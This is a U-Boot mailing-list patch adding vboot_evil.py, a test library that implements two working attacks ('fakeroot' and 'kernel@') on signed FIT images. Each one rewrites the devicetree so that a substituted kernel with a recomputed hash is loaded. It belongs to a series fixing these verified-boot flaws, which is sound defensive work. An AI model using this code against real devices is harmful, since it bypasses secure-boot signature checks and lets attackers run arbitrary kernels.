All of lore.kernel.org
 help / color / mirror / Atom feed
From: Simon Glass <sjg@chromium.org>
To: u-boot@lists.denx.de
Subject: [PATCH 3/8] test: Add vboot_evil implementation
Date: Mon, 15 Feb 2021 17:08:07 -0700	[thread overview]
Message-ID: <20210216000812.2091481-4-sjg@chromium.org> (raw)
In-Reply-To: <20210216000812.2091481-1-sjg@chromium.org>

Add a library which performs two different attacks on a FIT.

Signed-off-by: Julien Lenoir <julien.lenoir@intel.com>
Signed-off-by: Bruce Monroe <bruce.monroe@intel.com>
Signed-off-by: Arie Haenel <arie.haenel@intel.com>
Signed-off-by: Simon Glass <sjg@chromium.org>
---

 test/py/tests/vboot_evil.py | 485 ++++++++++++++++++++++++++++++++++++
 1 file changed, 485 insertions(+)
 create mode 100644 test/py/tests/vboot_evil.py

diff --git a/test/py/tests/vboot_evil.py b/test/py/tests/vboot_evil.py
new file mode 100644
index 00000000000..9825c21716b
--- /dev/null
+++ b/test/py/tests/vboot_evil.py
@@ -0,0 +1,485 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2020, Intel Corporation
+
+"""Modifies a devicetree to add a fake root node, for testing purposes"""
+
+import hashlib
+import struct
+import sys
+
+FDT_PROP = 0x3
+FDT_BEGIN_NODE = 0x1
+FDT_END_NODE = 0x2
+FDT_END = 0x9
+
+FAKE_ROOT_ATTACK = 0
+KERNEL_AT = 1
+
+MAGIC = 0xd00dfeed
+
+EVIL_KERNEL_NAME = b'evil_kernel'
+FAKE_ROOT_NAME = b'f at keroot'
+
+
+def getstr(dt_strings, off):
+    """Get a string from the devicetree string table
+
+    Args:
+        dt_strings (bytes): Devicetree strings section
+        off (int): Offset of string to read
+
+    Returns:
+        str: String read from the table
+    """
+    output = ''
+    while dt_strings[off]:
+        output += chr(dt_strings[off])
+        off += 1
+
+    return output
+
+
+def align(offset):
+    """Align an offset to a multiple of 4
+
+    Args:
+        offset (int): Offset to align
+
+    Returns:
+        int: Resulting aligned offset (rounds up to nearest multiple)
+    """
+    return (offset + 3) & ~3
+
+
+def determine_offset(dt_struct, dt_strings, searched_node_name):
+    """Determines the offset of an element, either a node or a property
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        dt_strings (bytes): Devicetree strings section
+        searched_node_name (str): element path, ex: /images/kernel at 1/data
+
+    Returns:
+        tuple: (node start offset, node end offset)
+        if element is not found, returns (None, None)
+    """
+    offset = 0
+    depth = -1
+
+    path = '/'
+
+    object_start_offset = None
+    object_end_offset = None
+    object_depth = None
+
+    while offset < len(dt_struct):
+        (tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
+
+        if tag == FDT_BEGIN_NODE:
+            depth += 1
+
+            begin_node_offset = offset
+            offset += 4
+
+            node_name = getstr(dt_struct, offset)
+            offset += len(node_name) + 1
+            offset = align(offset)
+
+            if path[-1] != '/':
+                path += '/'
+
+            path += str(node_name)
+
+            if path == searched_node_name:
+                object_start_offset = begin_node_offset
+                object_depth = depth
+
+        elif tag == FDT_PROP:
+            begin_prop_offset = offset
+
+            offset += 4
+            len_tag, nameoff = struct.unpack('>II',
+                                             dt_struct[offset:offset + 8])
+            offset += 8
+            prop_name = getstr(dt_strings, nameoff)
+
+            len_tag = align(len_tag)
+
+            offset += len_tag
+
+            node_path = path + '/' + str(prop_name)
+
+            if node_path == searched_node_name:
+                object_start_offset = begin_prop_offset
+
+        elif tag == FDT_END_NODE:
+            offset += 4
+
+            path = path[:path.rfind('/')]
+            if not path:
+                path = '/'
+
+            if depth == object_depth:
+                object_end_offset = offset
+                break
+            depth -= 1
+        elif tag == FDT_END:
+            break
+
+        else:
+            print('unknown tag=0x%x, offset=0x%x found!' % (tag, offset))
+            break
+
+    return object_start_offset, object_end_offset
+
+
+def modify_node_name(dt_struct, node_offset, replcd_name):
+    """Change the name of a node
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        node_offset (int): Offset of node
+        replcd_name (str): New name for node
+
+    Returns:
+        bytes: New dt_struct contents
+    """
+
+    # skip 4 bytes for the FDT_BEGIN_NODE
+    node_offset += 4
+
+    node_name = getstr(dt_struct, node_offset)
+    node_name_len = len(node_name) + 1
+
+    node_name_len = align(node_name_len)
+
+    replcd_name += b'\0'
+
+    # align on 4 bytes
+    while len(replcd_name) % 4:
+        replcd_name += b'\0'
+
+    dt_struct = (dt_struct[:node_offset] + replcd_name +
+                 dt_struct[node_offset + node_name_len:])
+
+    return dt_struct
+
+
+def modify_prop_content(dt_struct, prop_offset, content):
+    """Overwrite the value of a property
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        prop_offset (int): Offset of property (FDT_PROP tag)
+        content (bytes): New content for the property
+
+    Returns:
+        bytes: New dt_struct contents
+    """
+    # skip FDT_PROP
+    prop_offset += 4
+    (len_tag, nameoff) = struct.unpack('>II',
+                                       dt_struct[prop_offset:prop_offset + 8])
+
+    # compute padded original node length
+    original_node_len = len_tag + 8  # content length + prop meta data len
+
+    original_node_len = align(original_node_len)
+
+    added_data = struct.pack('>II', len(content), nameoff)
+    added_data += content
+    while len(added_data) % 4:
+        added_data += b'\0'
+
+    dt_struct = (dt_struct[:prop_offset] + added_data +
+                 dt_struct[prop_offset + original_node_len:])
+
+    return dt_struct
+
+
+def change_property_value(dt_struct, dt_strings, prop_path, prop_value,
+                          required=True):
+    """Change a given property value
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        dt_strings (bytes): Devicetree strings section
+        prop_path (str): full path of the target property
+        prop_value (bytes):  new property name
+        required (bool): raise an exception if property not found
+
+    Returns:
+        bytes: New dt_struct contents
+
+    Raises:
+        ValueError: if the property is not found
+    """
+    (rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path)
+    if rt_node_start is None:
+        if not required:
+            return dt_struct
+        raise ValueError('Fatal error, unable to find prop %s' % prop_path)
+
+    dt_struct = modify_prop_content(dt_struct, rt_node_start, prop_value)
+
+    return dt_struct
+
+def change_node_name(dt_struct, dt_strings, node_path, node_name):
+    """Change a given node name
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        dt_strings (bytes): Devicetree strings section
+        node_path (str): full path of the target node
+        node_name (str): new node name, just node name not full path
+
+    Returns:
+        bytes: New dt_struct contents
+
+    Raises:
+        ValueError: if the node is not found
+    """
+    (rt_node_start, rt_node_end) = (
+        determine_offset(dt_struct, dt_strings, node_path))
+    if rt_node_start is None or rt_node_end is None:
+        raise ValueError('Fatal error, unable to find root node')
+
+    dt_struct = modify_node_name(dt_struct, rt_node_start, node_name)
+
+    return dt_struct
+
+def get_prop_value(dt_struct, dt_strings, prop_path):
+    """Get the content of a property based on its path
+
+    Args:
+        dt_struct (bytes): Devicetree struct section
+        dt_strings (bytes): Devicetree strings section
+        prop_path (str): full path of the target property
+
+    Returns:
+        bytes: Property value
+
+    Raises:
+        ValueError: if the property is not found
+    """
+    (offset, _) = determine_offset(dt_struct, dt_strings, prop_path)
+    if offset is None:
+        raise ValueError('Fatal error, unable to find prop')
+
+    offset += 4
+    (len_tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
+
+    offset += 8
+    tag_data = dt_struct[offset:offset + len_tag]
+
+    return tag_data
+
+
+def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash):
+    """Conduct the kernel@ attack
+
+    It fetches from /configurations/default the name of the kernel being loaded.
+    Then, if the kernel name does not contain any @sign, duplicates the kernel
+    in /images node and appends '@evil' to its name.
+    It inserts a new kernel content and updates its images digest.
+
+    Inputs:
+        - FIT dt_struct
+        - FIT dt_strings
+        - kernel content blob
+        - kernel hash blob
+
+    Important note: it assumes the U-Boot loading method is 'kernel' and the
+    loaded kernel hash's subnode name is 'hash-1'
+    """
+
+    # retrieve the default configuration name
+    default_conf_name = get_prop_value(
+        dt_struct, dt_strings, '/configurations/default')
+    default_conf_name = str(default_conf_name[:-1], 'utf-8')
+
+    conf_path = '/configurations/' + default_conf_name
+
+    # fetch the loaded kernel name from the default configuration
+    loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
+
+    loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
+
+    if loaded_kernel.find('@') != -1:
+        print('kernel@ attack does not work on nodes already containing an @ sign!')
+        sys.exit()
+
+    # determine boundaries of the loaded kernel
+    (krn_node_start, krn_node_end) = (determine_offset(
+        dt_struct, dt_strings, '/images/' + loaded_kernel))
+    if krn_node_start is None and krn_node_end is None:
+        print('Fatal error, unable to find root node')
+        sys.exit()
+
+    # copy the loaded kernel
+    loaded_kernel_copy = dt_struct[krn_node_start:krn_node_end]
+
+    # insert the copy inside the tree
+    dt_struct = dt_struct[:krn_node_start] + \
+        loaded_kernel_copy + dt_struct[krn_node_start:]
+
+    evil_kernel_name = loaded_kernel+'@evil'
+
+    # change the inserted kernel name
+    dt_struct = change_node_name(
+        dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8'))
+
+    # change the content of the kernel being loaded
+    dt_struct = change_property_value(
+        dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content)
+
+    # change the content of the kernel being loaded
+    dt_struct = change_property_value(
+        dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash)
+
+    return dt_struct
+
+
+def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest):
+    """Conduct the fakenode attack
+
+    It duplicates the original root node at the beginning of the tree.
+    Then it modifies within this duplicated tree:
+        - The loaded kernel name
+        - The loaded  kernel data
+
+    Important note: it assumes the UBoot loading method is 'kernel' and the loaded kernel
+    hash's subnode name is hash at 1
+    """
+
+    # retrieve the default configuration name
+    default_conf_name = get_prop_value(
+        dt_struct, dt_strings, '/configurations/default')
+    default_conf_name = str(default_conf_name[:-1], 'utf-8')
+
+    conf_path = '/configurations/'+default_conf_name
+
+    # fetch the loaded kernel name from the default configuration
+    loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
+
+    loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
+
+    # determine root node start and end:
+    (rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/'))
+    if (rt_node_start is None) or (rt_node_end is None):
+        print('Fatal error, unable to find root node')
+        sys.exit()
+
+    # duplicate the whole tree
+    duplicated_node = dt_struct[rt_node_start:rt_node_end]
+
+    # dchange root name (empty name) to fake root name
+    new_dup = change_node_name(duplicated_node, dt_strings, '/', FAKE_ROOT_NAME)
+
+    dt_struct = new_dup + dt_struct
+
+    # change the value of /<fake_root_name>/configs/<default_config_name>/kernel
+    # so our modified kernel will be loaded
+    base = '/' + str(FAKE_ROOT_NAME, 'utf-8')
+    value_path = base + conf_path+'/kernel'
+    dt_struct = change_property_value(dt_struct, dt_strings, value_path,
+                                      EVIL_KERNEL_NAME + b'\0')
+
+    # change the node of the /<fake_root_name>/images/<original_kernel_name>
+    images_path = base + '/images/'
+    node_path = images_path + loaded_kernel
+    dt_struct = change_node_name(dt_struct, dt_strings, node_path,
+                                 EVIL_KERNEL_NAME)
+
+    # change the content of the kernel being loaded
+    data_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/data'
+    dt_struct = change_property_value(dt_struct, dt_strings, data_path,
+                                      kernel_content, required=False)
+
+    # update the digest value
+    hash_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/hash-1/value'
+    dt_struct = change_property_value(dt_struct, dt_strings, hash_path,
+                                      kernel_digest)
+
+    return dt_struct
+
+def add_evil_node(in_fname, out_fname, kernel_fname, attack):
+    """Add an evil node to the devicetree
+
+    Args:
+        in_fname (str): Filename of input devicetree
+        out_fname (str): Filename to write modified devicetree to
+        kernel_fname (str): Filename of kernel data to add to evil node
+        attack (str): Attack type ('fakeroot' or 'kernel@')
+
+    Raises:
+        ValueError: Unknown attack name
+    """
+    if attack == 'fakeroot':
+        attack = FAKE_ROOT_ATTACK
+    elif attack == 'kernel@':
+        attack = KERNEL_AT
+    else:
+        raise ValueError('Unknown attack name!')
+
+    with open(in_fname, 'rb') as fin:
+        input_data = fin.read()
+
+    hdr = input_data[0:0x28]
+
+    offset = 0
+    magic = struct.unpack('>I', hdr[offset:offset + 4])[0]
+    if magic != MAGIC:
+        raise ValueError('Wrong magic!')
+
+    offset += 4
+    (totalsize, off_dt_struct, off_dt_strings, off_mem_rsvmap, version,
+     last_comp_version, boot_cpuid_phys, size_dt_strings,
+     size_dt_struct) = struct.unpack('>IIIIIIIII', hdr[offset:offset + 36])
+
+    rsv_map = input_data[off_mem_rsvmap:off_dt_struct]
+    dt_struct = input_data[off_dt_struct:off_dt_struct + size_dt_struct]
+    dt_strings = input_data[off_dt_strings:off_dt_strings + size_dt_strings]
+
+    with open(kernel_fname, 'rb') as kernel_file:
+        kernel_content = kernel_file.read()
+
+    # computing inserted kernel hash
+    val = hashlib.sha1()
+    val.update(kernel_content)
+    hash_digest = val.digest()
+
+    if attack == FAKE_ROOT_ATTACK:
+        dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content,
+                                          hash_digest)
+    elif attack == KERNEL_AT:
+        dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content,
+                                     hash_digest)
+
+    # now rebuild the new file
+    size_dt_strings = len(dt_strings)
+    size_dt_struct = len(dt_struct)
+    totalsize = 0x28 + len(rsv_map) + size_dt_struct + size_dt_strings
+    off_mem_rsvmap = 0x28
+    off_dt_struct = off_mem_rsvmap + len(rsv_map)
+    off_dt_strings = off_dt_struct + len(dt_struct)
+
+    header = struct.pack('>IIIIIIIIII', MAGIC, totalsize, off_dt_struct,
+                         off_dt_strings, off_mem_rsvmap, version,
+                         last_comp_version, boot_cpuid_phys, size_dt_strings,
+                         size_dt_struct)
+
+    with open(out_fname, 'wb') as output_file:
+        output_file.write(header)
+        output_file.write(rsv_map)
+        output_file.write(dt_struct)
+        output_file.write(dt_strings)
+
+if __name__ == '__main__':
+    if len(sys.argv) != 5:
+        print('usage: %s <input_filename> <output_filename> <kernel_binary> <attack_name>' %
+              sys.argv[0])
+        print('valid attack names: [fakeroot, kernel@]')
+        sys.exit(1)
+
+    add_evil_node(sys.argv[1:])
-- 
2.30.0.478.g8a0d178c01-goog

  parent reply	other threads:[~2021-02-16  0:08 UTC|newest]

Thread overview: 20+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2021-02-16  0:08 [PATCH 0/8] vboot: Correct vulnerabilities identified by Intel Simon Glass
2021-02-16  0:08 ` [PATCH 1/8] fdt_region: Check for a single root node of the correct name Simon Glass
2021-02-16  3:35   ` Tom Rini
2021-02-16  0:08 ` [PATCH 2/8] fit: Don't allow verification of images with @ nodes Simon Glass
2021-02-16  3:35   ` Tom Rini
2021-02-16  0:08 ` Simon Glass [this message]
2021-02-16  3:36   ` [PATCH 3/8] test: Add vboot_evil implementation Tom Rini
2021-02-16  0:08 ` [PATCH 4/8] test: Add tests for the 'evil' vboot attacks Simon Glass
2021-02-16  3:36   ` Tom Rini
2021-02-16  0:08 ` [PATCH 5/8] image: Adjust the workings of fit_check_format() Simon Glass
2021-02-16  3:36   ` Tom Rini
2021-02-17 13:30   ` Jesper Schmitz Mouridsen
2021-02-17 13:43     ` Tom Rini
2021-02-17 14:12       ` Jesper Schmitz Mouridsen
2021-02-16  0:08 ` [PATCH 6/8] image: Add an option to do a full check of the FIT Simon Glass
2021-02-16  3:36   ` Tom Rini
2021-02-16  0:08 ` [PATCH 7/8] libfdt: Check for multiple/invalid root nodes Simon Glass
2021-02-16  3:36   ` Tom Rini
2021-02-16  0:08 ` [PATCH 8/8] image: Check for unit addresses in FITs Simon Glass
2021-02-16  3:36   ` Tom Rini

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20210216000812.2091481-4-sjg@chromium.org \
    --to=sjg@chromium.org \
    --cc=u-boot@lists.denx.de \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.